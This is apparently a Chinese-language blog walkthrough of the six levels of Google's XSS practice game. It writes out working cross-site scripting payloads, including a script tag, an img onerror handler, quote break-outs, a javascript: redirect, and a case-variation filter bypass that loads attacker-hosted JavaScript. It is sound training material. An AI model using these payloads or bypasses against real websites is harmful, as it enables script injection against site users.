前言

source: https://xss-game.appspot.com/
本來要睡了旦突然今天想說睡前練一下xss,就找到這網站來,
這個網站之前有練過前兩題了,但那時候js底子不好後面幾題真的沒動力也沒實力弄
也沒有養成看source code的習慣
現在跑回來打就覺得輕鬆多了 至少不像ctf要用一堆奇怪的繞過方式

[1/6]  Level 1: Hello, world of XSS

第一題就很基礎的xss,連擋都沒有的那種
可以看到你放什麼他就顯示什麼

1
https://xss-game.appspot.com/level1/frame?query=<script>alert('chirp')</script>

[2/6]  Level 2: Persistence is key

我們試試不看Target code用最基礎的script

1
<script>alert('chirp!')</script>

發現沒辦法成功,去看了一下發現是用innerHTML

1
2
3
4
5
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;

在HTML5中innerHTML裡的script不會被觸發
但如果是其他標籤內的javascript事件則不受影響
譬如img + onerror

1
<img src="" onerror="alert('chirp!')">


成功!!

[3/6]  Level 3: That sinking feeling…

一樣先不要看Target code試試看

發現hash後面更改的話圖網址也會變動
之後試試看能不能切開圖源網址
經過觀察候發現用單引號能切開

1
https://xss-game.appspot.com/level3/frame#hehehe'onerror='alert`chirp!`'

這樣就成功了

[4/6]  Level 4: Context matters

看code會發現他把timer放進來startTimer裡面

所以我們只要想辦法讓startTimer掛號裡能執行alert就好
接下來只要把外面兩個雙引號給包好中間放入xss語句,並且串接好就能xss了

1
https://xss-game.appspot.com/level4/frame?timer='-alert('chirp!')-'

光這樣看起來很怪但串起來的結果大概像這樣

1
startTimer('' - alert() - '')

[5/6]  Level 5: Breaking protocol

進去逛一下看到有跳轉功能

在上解法前可以試試在你網址框打上

1
javascript:alert('xss')

你會發現觸發的alert
javascript:[code]這是一個偽協議它可以讓你的瀏覽器以url觸發javascript
接著我們根據這題的動作猜測他的code長這樣

1
2
3
if(sth){
location.href=next;
}

我們在裡面放上偽協議的xss payload
之後按下next進行跳轉就成功了

1
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('chirp!')

[6/6]  Level 6: Follow the 🐇

這題算需要一點繞過技巧,但方法十分簡單

看到他會去引入js檔
並且它沒有限制引入來源,所以我們可以生一個js來給它引入
我這邊不想喬環境所以用https://pipedream.com/
然後我們把body改成alert()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
export default defineComponent({
async run({ steps, $ }) {
const headers = {}

const body = "alert()";


await $.respond({
status: 200,
headers,
body,
})
},
})

之後把網址放在它hash後面

1
https://xss-game.appspot.com/level6/frame#https://<url>


但我們發現它有過濾http,我們去看看code

1
2
3
4
5
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}

發現它會用re來判斷有沒有http,但http用大寫也不會出錯
所以我們可以改成這樣

1
https://xss-game.appspot.com/level6/frame#hTTps://<url>

這樣就成功了

結語

這六題都算蠻經典老梗畢竟有段時間了,這次把它解完也算是補了之前的
順便放個done的圖